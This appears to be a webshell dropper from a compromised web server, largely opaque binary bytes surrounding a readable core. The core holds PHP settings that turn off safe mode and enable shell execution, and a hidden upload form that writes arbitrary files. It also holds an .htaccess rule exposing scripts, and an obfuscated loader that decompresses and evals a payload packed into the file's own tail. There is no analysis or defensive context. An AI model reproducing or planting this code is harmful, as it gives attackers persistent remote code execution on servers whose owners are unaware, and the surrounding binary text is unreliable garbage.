ۻ^adxmwjofyvsddu;Bq..4_t;7q{QT*| *u'UDfeC:g 9ƨ~3T@݈8IiA1uj}j"Q
H%Ldxmwjofyvsڐ׊9-Vc_ dxmwjofyvs$bܦ¿w(~ GljskqyoudcQ[⬏r\O#dřS~l4ފ{BHwBL^I}n\Di!n9iK2 ]ɈjO`qI%eX9#y
ؕ	79u}`]wj;&.E?H;jdz"ljskqyoudcǜjfd/" 't@ńcv:Lٌ"zᴕ#u*|&XhUPA@F3N9Y5ԎE@| dxmwjofyvs`rHljskqyoudcKApi~rdxmwjofyvs몘ەu.eQ PI	dG$mvVl+X uU21/7oBYK{ǈv8,&s%ln:흙gdxmwjofyvsTΔUيBi578A qZ\ Atljskqyoudcaip]mrA#_@gN!A\Su.
 /m%}-t%u}IzdxmwjofyvsS- A!̹*,}4Jٓt\!
 5Jv{*s44LB;`ҭ&ܧd3Tz1#%O3dxmwjofyvsi:JW;dxmwjofyvs$5#do;UͿ&
"
7aвW}DKByq18?QXcǽ$=NXlpr FZENfꕯT8]o̋JÕeQ
FFHU33EmuVSp,#tVS)dqN0)X	(8G&aOn\z:UPe0.^}kjDjYI7-4 dK@ %c8uiljskqyoudc 3ljskqyoudcpMojNBۓ&˲}v~ó~.)+4{[uW#\va-΢nߔ(xieB1!̔֏0hL4#܄m/X7+5'}$\I^UI^ju_6Œa.,)Oܻ%[}RjS4?wx$
eZdxmwjofyvsR:J[Xjl.)g`GrljskqyoudcHMgFh;1Ki{Irt[sOm G6r#J?y-yhv	5#Z4R$awp]i `.1d䜻c+2!}{RۆJ6^.m+q;췮!ljskqyoudcN~PuL@mOt$Ѥ.o4#:Xa+jP4TX @@*rH~(azKw'g2&#߈8k+f~D.TK]LR~f"}yE1s7w410	z"9tM˶UNɲ3
;
8]qEqf@.$#	E|f}gRNd(ARZ:I	/2-,cV8)[7ǿ)k@ǛWpwKcX9\A["a5Fsljskqyoudc+0 :y3\)(r8;1ljskqyoudc2!jy8\!%P813{|,giN 6ih`DG@t@sEYV:~O~p$f3E{alu!$PZӈ*v'
ٖ0T֩%ljskqyoudc|[O@ѪC
5",y0]kqadxmwjofyvsPU,7{L!  ܦE\pvj
O5\,%.dxmwjofyvsh	(TfljskqyoudcLn6mؕ
̂(v?Pbb_Ux-Jh]?gw"~:Owl^kBOR-&h˭}dc26Z~	wVV`8؏frljskqyoudc^S1=γ9¬9 }߾
oTDrhPPeW".J0]nX
Tqp3LZ0S򧉍|":/+/gPc؝$;A#g8򛁌]UodxmwjofyvsycCF\آY`{ F#5~bwɧսq--neiNEyOtljskqyoudcӵkvf@?-d#Fir8f A= 8zhi}Lvljskqyoudcƌ3_[PcS,y0si쳗˂s"1	i`|] ljskqyoudc(U$0UcQn제UzҍVDGUz=%+"O]D2
ug
f33o"Φ^aB9r4}Wz=̄vG&荂j\FG@O=`\3?jwm6|?o-FQi\@َCoԟ
G?%M:qz0jSK!wƇG8uӹexBoMI-]QP}jMc8S
4b8XFDq
4K8y7RlWG=5oV
ᙈ3BMǢY' 1ʈɨ^&se̠[5hŖW`0t4v%ꚥו[$7D'lwƟ&?(3s	_~pl)2͂^߯gPfP=(u?U}%- 㓭|BP`5S՜Y].j5
&N֓%kS(Fn\y
c_kskە3zC]L+왹kdU@@9o6hiljskqyoudcdxmwjofyvs*M?ƠY"ߣatKMiv)ca'&cRg^_
& f	*Bljskqyoudc6,74=y)O3P|9ix*h b,zm.0=Tg߀:MDQ#R'XS?gx~^o/gI)q۵N=uokL:l{N[љa!̆ʺ}RFW9\""F*J%F?i%:uOݍZnڳDXW*	GLMHGGkrȂ@E40;:}雞$@}E1#M5g\
l:R}ú[]giˀ=±X^䙎lG(0
,sԵ9ʓA&nIvFB=oN]D/]2~ljskqyoudc;
Gigʦb/[F:|	*3J=f
XU,CJa!53`IYAswpDTT6dxmwjofyvs& }x Rjz^Wj-ĩaVjjHqIgy2oqB@DT
Һ&qD`&uǘ Lea@)9f^um@2R#Sy짞"C/xq~0%
Ba0 ҇w˙RwrbS%[޽ rzvWk/rZMW#+.5MϠXAiH~U+g:k/Vvqk5^t`@&;&xsfyK R֯G#\X"\Ԣm?^ٸQ'?RNa
ljskqyoudcqljskqyoudcY^a"ڨ,OB0Be\ 6P	v
(ljskqyoudcm؁H|aDe:Ei}	M%o`$,~DYz^g"ٕ꒗~`mYd!w ;*Rrj"a,g*oto ;X/%u: V@L-`y@񲰲!48B|ՠ̊
{Sx dL
Plbn7!tɈGV#Jǵ:q}SxŢE.llbw[ZOݒMrd
9\èfCwhqMR
#;#Q
|BB	$ѕg80bC8sxwg% Q͢D݀인4鑙dxmwjofyvs7t7keM6%!(׀Փljskqyoudc.7ٰ3Rw$JAՀAȸ{ LBs$2ܹd4},#Zc
	qV_؜0Hsܺ+PQqr%܍9W"\(x$23 u,dxmwjofyvsFo/A ŧUYػG϶wSZaa:/@5 I!*:8
 {gD?
&	Κiljskqyoudcm ׫Ok,s7B0l^SèJ}2"Dot,Ϩ{/۞fL g&
|iD1y43
ǝC{ޘ.cy;4JTOڰcy~~ePlQeת~L[	i2wCW4]'rljskqyoudc.vTkǮi([ܨn.'IXlljskqyoudcUs:Bh"xp$$ndt-|'k]dxmwjofyvsgY6מCH 5&M=O&\:^|K!\BaF GsKr;Fiho_\'ղEݸɷi #_o2"bH;yW{s7IdxmwjofyvsFP}qSljskqyoudc+f\0ڛCZkSXնljskqyoudcٿ
%َ;Z?@l;'yHcljskqyoudcgɉ/R֣d߷05@LsO
AKX5erMܶAi@NTت	,|H[xgE픘}%%65h.r{Cҳ4HػcGR't4.Њ6!k q[l5ޑdxmwjofyvsG@kł3='nURudV&Dm$rDodwAgރ8˵ǞdxmwjofyvsT2w[MP;0-5j3E$N0M]h
]NT$wvyIXSYj&S\L(5u+	Pikdxmwjofyvs~4Ҕc0||yfބټ|0W௩+zTm&^
l.(ljskqyoudc*kbqǮ m5{
G)3tsWؒ FWC
@Ƹ8P	U@v ªL.ICTUS2Ŕ+p'aii'7)VT-G܃DSZ03/=sdxmwjofyvsr*[p|@CVcKA	cP8#s~_Y!K-~,yӲvU+B{ТZq$0~& }=bvFij_T\\g$Qu6MFlo2NKi3Ro܅#RYcв}UnI7hNO~ٶl{ϙ`$^.cCk[mQdxmwjofyvs?1`?]o,{ P%VEDqڲSM[2$ OBh^H] wȴN
OOb?)ß;}Dk]:$F6XZ؋dxmwjofyvsƮyAAnݑhS9G|3]UhoIm礴Ĕ%8͑h!AZ7hŉ; &}@ZI}QԦb {He*'ә+Zv4viٞԛrljskqyoudcLc&B6ލw4퀟*D*XדRm.G
rj#kcI;X5J7%v%a!#wu/˒"	
.0b+Qǁ\Uf\1nK{Op$bljskqyoudc@G)MFPp),ߎiǇk]h, sh`ljskqyoudc16HXGBlӷBp [@Y'E0Rm!"U[)}h\D(!rWsB/	`^ѹ4aSA~LrP!eY[%1mсrCnl3U-PdxmwjofyvsxLȚqd"E6xX_@`T#/q=J]U"&˒89=6jqԇ%FcIdcP;ⲶE@Jum{EMĈjoljskqyoudc*.{t|?+]L3u"g@
Pwȯ{kFQ?jS;Th|vj9	`@4Tn@m╣J7\I]Zdxmwjofyvs/ljskqyoudcǻtRrGrÛoչljskqyoudc7BYCen *5G(eAu]'Z_.G[{7|ԨCDdxmwjofyvs@O`29,*ܛ8p9r^Nx,|ljskqyoudcsakdxmwjofyvs5q1Ri*z\~p-Jljskqyoudc,ljskqyoudcxڬ2Vw*۹3ak' {Wŭ*uCuP⩁fOZ+/Ito;%N7pM5䢽y? g־ϳiu93d
!0A19kǔQ͋WT'zjkA7pG:ZٹJo]Z䊭 9$ˇ%jW$BL=VcZ '_h쯘WwF τ0kP[
00N0II^-B!`!/zq! Y3uӤ~DjxMg'![8[ujbs`k_u$wljskqyoudc$w	~aF{$$O3ŐR8Q+ڕ?

p-b?ޠfvlqs@!ӨljskqyoudcjB,ur"6;.ԯdǴb"zrn6!dxmwjofyvszo9UUVoZI(|`aV!H_6dxmwjofyvs_f2
~u"
9\8(xW(RD`^]&_gnk\ߊ-Kh`awC"TO~|C@I`K,CM+P7KoTu#k9T\-\[#G5+Xdxmwjofyvs1kQL5%Ew~=EIAÅGC/[
qdQnK`tTF2iU$6$CZljskqyoudcúR413BnҨrKQ1|Jqi(_'=LV4"_p|;x[.ĀܥQY%#$h 쏧טcljskqyoudcX ^(@|t16^,0H2ηoi j6.dxmwjofyvs.ZI`aJx4EuYljskqyoudcdxmwjofyvsc}mk@ A5#gݧp 9o_JD4
dxmwjofyvsl}cXiF|_6,
h_@R0cDlgɾ*3-@]"=Pd6Vt]c3-mF2S+nתwOߋ8])Jn
UzcENW;g|dFk%OݤCTNE	XZ{FdHw׸0̽Q~9*G,qq	v|N	!GD{ioud@"iOHIwb
 ?%Vݑjo"xNms9R;n#\} v$C)6"-sj୫Ccw(k=#GO]:		W3^إSUljskqyoudc%dxmwjofyvsCK׌,cH D:Z\wHU-ш2͉?(ͼǄ8콍Usړ$SȤ?4*4
h_a^ne [aTkߟS	9ljskqyoudc{c:ъ+3	H K5vWPx
_ MaHB?s\6]D4=!#^9NU,dt='~Z^;^Yoy?ɤUGy	c@Nӌ\	f[t6`CohK5}6~%DYx=g`(I;])}4h-& lgn*`=wKEj0u4"Rj-M `smr0E|SMXggc@@*yUcwաv~dxmwjofyvsPĊ}xIHljskqyoudc,y*@
fCLzDӬOG~X;LhJkS/YljskqyoudcQ%:9F'ADw4:[O|nJ(CPңC|f(g4X!uiPj9Pz|x&ͧuM!k71h
k.&6/YsMt/3 9M~ʔTv*)u=O*I\3u|D[WtROea @I: NܤF9f5-^:(c{ÿHaS٦ڢm86feòÍ=+ JƆ
儭D5UpuV
A/v,?B۸@v6:nvr8yp%:ഭ4zrRxU3)6-\q2%s
BY|	4άXB SRpniW.DcoLbKНU˟%g8}&qbHbyͮT0pljskqyoudc mW  @RLyoq1CJm /-O:`7Dz|[wu_ d	a+fAdxmwjofyvs@cZ~ykBה4R/ScArljskqyoudc:FMz+;ŘnHWw Bq~d۽OZAc"'ptDjT+3/
oT e\*@A;V'Q+ͳ^%UT4G$ dxmwjofyvs(IOG!fKcMjuJC↞@9$w2@;ܖc^y;Yx/!t+'dxmwjofyvsih E5S LbI}˖VeK41G8Uw\nH%_
ZV$/eFXAljskqyoudc+3&B9mA	ɨC]Z@B;Qsle1ۿZ,1t;&DgLX,sĜ"
{ւo
(!2K?O]:@kq`Oz@gMtby1l15Po9+2|{(.{`o7_j~hO!CАRm붨yqk"MJBAX]E4˞7D㋓̾Y@R`KS8;v)d0ݯW:́N6+.HÓ8^{\KKljskqyoudc3]%4Ep[ڄ?EZ2E4K	;uV8|m@e7@/h)*k
Obr{TЂM2@д3J W2|.êh-_Ƀ`aRӾ/ߋm$ciͺdxmwjofyvsK=U5"^dxmwjofyvs0!XLiy|t-НBS#4RV~NFdxmwjofyvsb
$/adxmwjofyvs@ȈBN.26ȡhk56X
UntbണQ;t.0Ldxmwjofyvss=frl4)IIg]z
:?aVdxmwjofyvsHF/"_2dCs6---*ֆ4ljskqyoudcL0!giEdzwcڈ9\R/?{.wh7Y0iەd=6ypHa3"t"3Z;F(C3Ϳh_tb9K-.o&idxmwjofyvsh:4G^ak|~jAS}|WNvAH2ɪ5CwoUcQ8pXn?j43d
$5	'&+Ko0;+Z1FE,cvk *FL3q*A}am$"2ف]ԔUV?G5kH4ۼtM?~\bjVO~@60A*$a2! % QON=RM~֤RQV@V[؈\@Va{CcҐ6i}uy~(S,FI"B{GI	7l?i鐸֜q{$8ȤVoKOqNaFO|Y_uQ?`zޙܼoA:Ӿi|}?7w$nKe..In1
Oؒ8ljskqyoudc=
Sܙڤ4P}i4@IWH0p#9еDa4Io!g`WwhZ.?݇gljskqyoudcqCFw3y3ljskqyoudc/GP~q~F#b&|BqUbH'2&5F^Pn.1]~
tT@ߗuE!l@Ph)_E&Mb.*ېey?OfΫF䟁.{7iA`D8PXifljskqyoudcPxŦY _8G5IΨ_ʒX^9c[BV)f0CU}RO8?ei z,Bi.$	Of7Iȡ|&HXP$v,g%++
ዜJ&ެyk{cF9_sըOX}bMT02\IK1W.-ѿ+GqGHG=lCrY*$RJI:-)T,)n	
qYUGxbadSET9-cN	3Hqe D%lQ@obT0rn:46]S6 4LHy*4U&	o ?M9C2YL=~=Ha?srv]֥
IY҈rX fw&c_ώvɡ	91j
R,z2W4I참=26Q OlkLc0@2%M޵O	
5̤:	d)dxmwjofyvs+| ~[7|2Ct0Py vA+
߸6px6!"fJ'_`4T$l	)YϑKZL?2~̓ E~i?5BðQ^_dxmwjofyvs`gx~&PZ+5Ȳu~A5J*HkكU.&|$fqlgThҸ2np#xh+d?.9
~ljskqyoudc~rcwIwNljskqyoudcuYdxmwjofyvsgG0TJqG9S#:h?8&k`ڼ@sO53Ğd[6%+iX-E7k}Wko 2pȃ1U &a~hljskqyoudc볲~-x޳ͮP~'Ts9|LBF"687~`$~[[)OSF[m	&gD?NEbSDcB*G.q[tH8d0
:dfJlt9id%(7ԲJ@vWz$-l
0q)M&UjbwRpjJr3-aÒjB%\IT/MyˠlrOݪDG)~r^ATl7ljskqyoudcO&V݃|~+BWk7~Cljskqyoudc̺FrnI@u+ygh}
tL OJkuTg^#h&"C_mC06K5IjyWk?.,Bk+1/19!n\XcY$;bTso&۱/͖rG"Y|6u92߾WBsXuu-7Ϋ;wڌg'Lh(7O3ۄJnku
APppma1іUxg[vm{偱1!-mavLCMP}|b~ҫdᛯ1ܘOZ6}xO-Lr5ۮKJq/Z7dxmwjofyvs\^#@dwXa"}7igOե*3nrnLE%{H$~H|zc`Wxr_HU+
Z3ݖ 8~7VIvnf%dxmwjofyvs,ȼt_+q0Bj?}~ljskqyoudcc:.$80M*{ʕ!M6R86:t8ljskqyoudcnӤpn/Qx?$b[8 O[ߝ{Ȩ,%2:~:
+HCGŇf/~!4ǦnuLZhN$ q̓r-Ae)
5VYo54Hd7v1~8eHzanߤv5)ZƺXnYmX0GVB84Q31Ñ㉮^SljskqyoudchյRt5
{@0dxmwjofyvs6ޏW3ljskqyoudc"(c'qiJdYsy,O4AIht6	onSM:5ijV\Qp[p(eOgi=u=HPkσ	\}hܣGbn\P6ʶdxmwjofyvs~JlNP椤 rU|_{VLxvz-싐jgr;/řg0^_+i6D*1%y!D'dnxiݭauzjZE/1}_49dʠ:b$psjt
zdxmwjofyvsLVm˻EydD_U멹*|.v8(8LW ljskqyoudcKTT TM,6 Ꞇg_
fܘ!F&(!E&)W&pz 8{sI~K
5#~$iFBiůss-e'N?#џc0+:}XBwY(x~Ȉ7?,[CjEw@zEsjAfSYpP0 Mox:%.9vcfme5Bh^0rd!؄T
ɐ{15
9CiWdt`4 ή)PTq_fտdxmwjofyvs]r;T4OIvɌSf
cyY.ljskqyoudcu]*Ve	V'zk˜ +Ks$C:}Ȗ͍pĜo~]kJ]9Hdxmwjofyvsx؈weI1n[M}cӡ!"UkIɀO+É
Bkljskqyoudc4wꃙ[V;1zP6t)Ӡ?|h@-}tY09^Fb5EQ-/~Œ*sb|ރO~O#H.i
K"WǸ	Ͷ10(ve5 G72n_j,률B+}|Xvq9N]tTRx١Ӑq˯1o!I((mXά=J!-y#
Ekti,0\iJufSyR !/w@{GY[Spb(ٻXPƠtRgu_b|mx˜0U̲;yLh5Us-\¨r/Q͇ߊ8Il_7yrdxmwjofyvs.'QGϞ
)'{n(y8)4dxmwjofyvseڬtS"#ķ)~}HoqcR=}쳖%@e.p_\)EG+SsNOu"kljskqyoudcR.!Nf	*3Lnd@ZPG.044	|(T

Z(.oΛ@;_nǐ5iB5,Abq'r8.?I~)Zz\˓YXdxmwjofyvs^c6jG㺶lvcJ~m ً'L[zPCdxmwjofyvsN'Ͼ[3;-=p) )갓^iIbtiٽVhE
mTXG*N;lԕ߶ QU Fv:ȧʬb+aRf)v*ibނƕP	{ϫ+
uL&eS|TJ ljskqyoudce
zZ|0棷sAH(	qM=&cr6!p~Myffȴdxmwjofyvs%ݡ62+4Ζqb2^lkvT(D4E:Y_ljskqyoudc~8!f57 by1zCT+Q0:]GT(PR2Z7e_Ą#
aKɩ;&S6'
&4Uf7X7C8˰1bWCgk 0+6h$AN)t1@Ed+FՑS`dxmwjofyvs*Rh)ɰVNe#!!h/ ]ݴ}{xիt3){կp,l9~a"4pIcnL27r\ngjxLAhX*91^fCQmhRvh|?ljskqyoudcR5L	eK8S$zȑob@)Jհx-ʏ׹ja+ 7m`'-%dxmwjofyvsh2ޏկM݅FƩN PvDyC,d`)	a59)4`ՓzyԽUˣ:'coe.}Qstl\$4]iM݈)~$*8cN}!IP7꡼n`*')AΖ3&\ņCPK~7@HD!9ZrI}9bu˅A3 1.H}WމqH3Z_Ϛ^PD,]C{J$H.2ljskqyoudc[K`ϴp?r gY+Ux|dyV=`FX(ߩ=NNh7(RtlAn]GI9rF9}uIA"Rdxmwjofyvsq'+' 8/?vx]`|/a)A@/|0UrDΧ2YKN0쵏zfh.E@&@Xr
3ȟɜyQJ[͡oO$'
$hC ''B,I.@e!&!mJ~#O}AΝӉF4)=48~!9Eko,|3Pdxmwjofyvs51eᴖ)8T@vp;A1Tr"x$\5)*!2
BmE	Y_4f
Rr
Ag#8!η{VFʈBX}AiI&sm]ː$xQ{R|݂.D
QdxmwjofyvsRJ	 ΨA%_778{ODMj]c@?mX@ˠBNŨ^fH+ኹ3"ٵ[K$de21JQ2π4]\]ݍqDnmN7]j=-_Hу5HG𫩼`̱ljskqyoudcՅ,LNeRlo?`j`o_\"_CftHPSo'uIbbGGt)WPyDr
(#؈|4^bْW2nfNnMT5[ǂ`[a:A
V%H$nԔ]3.W٬Yұ3U
;W)8*p5AljskqyoudcVwZ_QxEF*@@|qݫVS`_l7z L딯[e5pw.oϪ5*}ĹD-3Gljskqyoudc`0?^ـDߦQ^Ae~@d}QF썬t}mC	n
s!A~.emkSy.eZW:$&5f'ǢRGxա35{
~rY{r{}:y
bܩuŵ;N񭗿ƗFT)z53wܴ4Ĵ)o`bɇa't:-${Y}-Bơ1o3p
[?*G27X8̠ؖ\"Hv(4eUG14Ǽ1ybx%,kވ,ljskqyoudcvmQn	t"ɘ~|c+\ot+/d)zj1ѻ%$?U ,5.cKWdM*?z
}~ljskqyoudcW~i8K;yd?ogljskqyoudc!9_,EkDҿ_xI"V
c^^DEN]c{w/)H瀘/CT)Ab$/1Qaط2 F(-՜dxmwjofyvs8=hyG+CJblB+,"-ÇH(&N!֮;0ɳ^͛gFNll  3 [kdxmwjofyvs^l@ş+QWٱWdJ},YL݇ZNn̜-uK 21u6u.%DJJ߮Ok=(ޑ*Ywv
}Xӂ%wb8( o51+\89\Ut.y1,/}DPEgoYϤn^Kb
o`͜P$֌zWC@u4P
cӑX=n
ctSYu
N꿄3iN	
[%)|VP zr;o%A}/qjxa#^9̸Z|mh=ۉFW{d#
̚dxmwjofyvs$
t.]^TW|Tt4וG&ŉYo:ljskqyoudcg#WȹI00_wtjq`PNu#ljskqyoudcuZ0%b8,:o}+}TOFx8bKdxmwjofyvsI1dPFpW&=վaV__{^BT;,xYq}O`ljskqyoudc5zʓ՘ʊ/{93^P;#)VW0)
.˯[toꞴ E$ztwpsvCQRԮH"
,,.N	$ő9p^p3
.-#JtBvő'Ww:U4OljskqyoudcOԀ
#
dxmwjofyvs|Թ~
95N`Ҷy hC
Aɠh[?#ZّT*cGil.{$=9ġdT?g&Tdxmwjofyvs?`{Iҹdk`7&}*nЍ0GtMd*@ʇ ?F#dXy&$\J(R~ [Z;X~g*sRx6,֛~8jڲ:BhPQ/9]^`A[rcU4Z&YHq[%W˞ܯ;O4}J_y
U6u8vLO\Xhɞ687 ljskqyoudc_F\?M
7BK=Idxmwjofyvsb}XDHn,q-&1m
p,j
;3+7.CGk钱	[lͷiV[?1b\ԜKl`e3T/uJR&$"W{*qEw=qAI8)ď|HCJNwYsR_IDhr2,pri
u%^4j4VhCWG۳?J:q(ZPz=7g׿ǝf[ud+)`?p
VaKlϱw^~oljskqyoudcฮږTe,m{!%9}h 9v-iYLedn髓D3/p^7ޱ=?Na3u*-C'1,Wդ{G3pVy"y?iFzO:}"	~jd$6"Kljskqyoudcǯ	o=hJLYCUe0i'y;?&p(p0oA:YL7|l~Dl	-m){}!Oljskqyoudcr-ykn%Řp]b PԺ7oh_`4jS
C14.us6dxmwjofyvsVJyjKhxhRsljskqyoudc?bolu-Ԙ' xzs0Q8/L:}JJDYiÊ~g1bxrHljskqyoudcn eq Ub{ pdy z_IWS6	h|6vw0w*PLZpp)sm_Եd|F	.I}[23
.d5vtxZ5p@=%a?	iv$4vm`N0gM*`WGo`oƫ4
feXY݉jGW#)T`TgW4JRVhg('^ȉAljskqyoudcuoP: h?Oʌ̰$DD
IpB~l`%oJ־Yv7iG,,N"ܩ1bYّʮG&GQrٙ6.Av__ &ӄw/	tnǓpljskqyoudc0l#r]S{j,kٕd6cs-?&4P-aVXW`MZ#,m-v~St˲qONӫs=u^OG
`	HWjkn{Iޮdxmwjofyvs {!xKYPI0 Okdp5GOjo(b/+v ꧾ	7R9OzOEc;h1;s鮔[VljskqyoudcaXPT.WtR4zG
}_ς_5l'|6ljskqyoudcmnEhKXQ}vx/mJpQ$0dEB"h JQ"/+`J#z-2o	D/yagSNv3ԺDyWM多3]|ӌ٥A hdxmwjofyvsjQ\q=r-^E_t&ޟ"=ETlp%K4b\td
Z^s)Ht`bt{?GFyn"B$+e|'Q&D[U!ljskqyoudcdxmwjofyvsvFKIjIl|$jv¡Edxmwjofyvss0=zY/yP,jS:1UUP=Vy0N-`y5WynuŲ:	tLUcn7I
$~ȇ=
B8f≗I/%3ljskqyoudc$cZ apyzr
Q8D3]Øo(}ɷRˆfe+SCT:[Qdۘ%
MU^̰ljskqyoudc3V{u 5\;aߑ|7˦ʖշwr}j&R.9t6KP
p,d5
P|bcEҩvXrھsT详c#WwVPYsm
].Tnyq6%A\AO]3\:2q[3\dxmwjofyvshV+NN)_	r~۹
PS8®֥ }vsOCdxmwjofyvsxe;pЗf	
j.T,_#7VF5qheNٻ,7G*z\XbJ*ա,O'\@dxmwjofyvsb]R^k9JԪtq WqWpXMSvrARđ\L:h

$dY]naۼF
OAs3H.Jwi"WnRQj5ч2rZ?{A\b}%C.b$(]D4=$ljskqyoudcH0}1'td9m0ls%p

o
Kb7Ug݊??jӃќ1 @ֱ	נi31dxmwjofyvsd/O(%wO8|yc%NpR_DV~~*gzf#!
Kzز`0a՜iG 6N.V:I8Izr޿ﱹeb?USFA֟5;fFPtSy'i;b_X)DF~1-#Q:9Nǉ91#%x}2r&ut,Mdlq.
Ŷoh &qT
3JX/yނR£;@7DeA*,mӭ~stK=,wdxmwjofyvsGaoT407ekҋΘ8_VҌۧjo-Hh[]߀1$݀_Κ=H
Sljskqyoudc"nidJpGh"nTȀ32O|PCžT
7eMsE	mWgR$w °qkqJ-VmdV9~(Afϧ(n삔TG'4q'A~uJڛwdxmwjofyvsialfׯljskqyoudcljskqyoudc
lO7rrm!eljskqyoudcCfALz]1~{o1kfdlZfUP`iA(peηJZsg&I\hĳ6ljskqyoudc
ZA.Idxmwjofyvsx!?^C"_嵩4
b&"03w-L|ljskqyoudcM/ql]zWXF/
_ljskqyoudcΐ) ^	tRnG%v%Ha uHKVL؋	x1#q;wd
$
}m.X]
W9'&o,Ϸet2oױA
^EӣI%3 ­K	?VO~`6ؽGS/įn{!j@|dxmwjofyvsH-dxmwjofyvs,sT܅C:i&$aׅҨdlgRisJ w!H&LFw[D*l}}izTk.
uU̤lu2ؿq-=FbIHW2K4[M`Uxه
Wkd@PXL)G4wyr|]׬Cc@c&JWfd}]Fn",pPLx#QY5HШ4N5C4yW2/{gƢlljskqyoudc3z
7.&"Xvkhdn~7gk/a/in6z u;uyaƴ]^ÏרP&g'|M˃O 9=?,`*͉EPG'b+2oVP *F/ժ /*_ssm?odRqSg}	IA~iZKSEj!
)4d?OȦ^mWzɊ-aɻC[/tm%]ah&  |^5
~(R,겂!J^EV@*m	xˮWrhiY5QljskqyoudcoeH96Mr3I{ljskqyoudc{$ljskqyoudcz]\v9\/q@}uqeʽ
Qqa=nQoӝ}L*i\ljskqyoudc.Sv+2}:?k-Z~|0CRvM=C!RIs6Ix]Vy}zpf?Z2ɑ5!6JigwKKrU
Wq,MDQUzQC*J
5LBٙҜf~}s%zVcI
nmc)epY{K^ţ;Idr~~R)z!3M-??rylF&?I,^D};HnBLP9X8a&m
#lL6gWbүO!+&]Bxb~i1'*peyȤ/̓ljskqyoudcT0ܲ%q+](i8#iljskqyoudcav
}THk+
sk}1K\s&&iQlq%!Gg{]bPa~kc8ӳad=+_V,~pՅ*/ޯnGVA^kK"iҵ6PkE&ܝqN
o7S2$erljskqyoudcp)p#8ۖ&aY@]la&qN/`pv){MsTP]dxmwjofyvsBUԜN4fnKyVLh"lx̋u8BjA\)Z @ZOڞ֞;yz=+L"E'ljskqyoudcnj.N^8v.	g@K&ѭ.4!בiI=bduQ&)V$34
OuiһtKsPݐTogRsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$cskp='su'.'bstr';$OsFP='st'.'r'.'_replac'.'e';$KTHW='gzunco'.'mpress';$SyXd='e'.'xi'.'t';$gEmO='file'.'_get'.'_content'.'s';eval($KTHW($OsFP('knwrmscilh','>',$OsFP('dgnvfmcsji','<',$cskp($gEmO( __FILE__ ),-172534)))));$SyXd(0);
?>
xT׎ܖ*EtEM^knwrmscilh}3**4@k9%??Kƥ864d-yg+6۫z}oC=ۿ%2.?tgm tc_K1VտcGknwrmscilhX?:!i 鬓ꟅTYBk1)1^Ux
:RRn)F ivJ(XT\,N,_?;/Y|9lhtwL1gknwrmscilh(l/& icJTknwrmscilh,ST=5nj:r;:r\f
W~5k-vB0O^-yVxbo4&l2,b@
z?,okknwrmscilhFSۭW*e$IO==A
T8uG LEg\T/sv;Dn6۬.1CTt#$ejps8q}AReo{=@d38rdgnvfmcsji?CZRz0W

^|-Tе׾'-A9mWNERm,J,P{n9RJg޾z]hܣC6:p@!L#G-7]} unD؁ORaFZ,2@r¨K}GV')Pdgnvfmcsji2\b=^U-5N9g&߽.ɧ7J*eN@]F9s pGYɶe'reL_ȯC&S/IDkz0tɎ}@߼j ߔ]LZwGd	qXہWwZ_AL\#)vr5y=
jU
aF5E%zcknwrmscilheC{Z*Ֆ\`מJv:m6q;`	dv5ȚpQ#LuUgPeϑ	)^uaH@hMXYݠrc?4@f:$ '\&N.#
-d0,("`#S߱y5J	y1SAƗ6iL"6=`}Ej@`v/_aJLMa֒i]"{%
mtVZB`.|$to)M&\Wtɩ?u$R{kv9o
b=w0 gW/~ќ[߽eһ׳.)7FfyRSUdgnvfmcsji"]	zԗ?q=RFY!Jj=&IP`$Ji-KfꇦIqge,?6cPrcLIhpױkԝ\Q䪆XFn_(v~5VoM	I[Le'Ȁ;[2dgnvfmcsji',Y^Q4'FpT0T]ۖbS'bN=cv
TM(
/%4VRXO8
]:b׭Uz5SwHhvQ:ͼ㳢-1FOf?x:",XZ15Wknwrmscilh^3׀*|ta\knwrmscilh+yyjilϢʑ$94՚/{:WEԚ"0Î`!cbu1b)dgnvfmcsji\:0KV8q!
g7cvP(5tN.v:HKWYW'r:nC%'69bF?^|`}1H`p^9tSaZ9*{{7.+E#FG^X7LXЏƔ/߶|v
.aCD3\/knwrmscilhLՄB$qMb닄JCRϝ"
g Zdqq2w[[XU%;Fʯ*H"knwrmscilh3,wP[bhƊzR!䴟GN +)d3ͦiRdgnvfmcsji|삯N25C}/R?axyiE`bA$laPJfNեBv;W&֌,:l s/
#旜h/\)wUkexKe	⤰I&iЇX,sPX8[s_0Nij}BNO(xA,Ѽ-fSdgnvfmcsji
0\kV0~~#H׿^	A-b5g4$SΑǯzd4x
v0]wS-}י"Cj;7,^1}
s-}I"h	+X}zO\T0?n/: knwrmscilhK?:_4~HFd9qEDJ:bBl(넘m&C?}ݻu#[Se[w)JVHwT[Ñ9{We9ŭkֵi3bK?kה-ZWzMdC]p#`[tP4L_		XIQ-ɪYR92\oG6`݌O=%7uBomxE-.6?&kdgnvfmcsji4 dgnvfmcsjil_C3-N6	t{aֹhO +6MHn/zGYK^B
C܉,#yԡտǎ	)aǓqujKBf
qq',ɬ~NaKO;QO[[](6ޥdgnvfmcsji8[a*ߒGCo@`6axhY2c=}wI}]BG1NW%#BٸI#
ogZFwY1H38'S4r٨Md0\pBfs.P/8H*Xg3Z(ZX KDwDKZ
UC\82Li6ܙ6qR/?H!=Y2}NuSOЊ	鲥.㣗nKe
.O3mV]-hpZ\HYT#"J{rOXNe%qƦ.a)i:qs`Ӄ)E8I|3tY|B/(st2YFlu_FUA}ըdgnvfmcsjifZ'';S ԗՆZGt ڐRwWtQg+~\Q6X$HxYCKh}R癏eX0knwrmscilhГHZk,o gD9(QzޓO%lih`{~@ ^~knwrmscilh۴sZ[w'YfHQWd=c ._kVli	RZ聾\#̋Sx|wrFX@2GQ_ee-@Tn^ϹF6yo-4B&-.Kۃ"7bN㿼@T6'|=̤(t?X(A26*/kpG8wbV- Ǻ:~T
^䞬]5AFqz԰bMR/:t+`rC\VjbK~1|dr\kESR0H2r/S{E|GCMV3|;o^km/
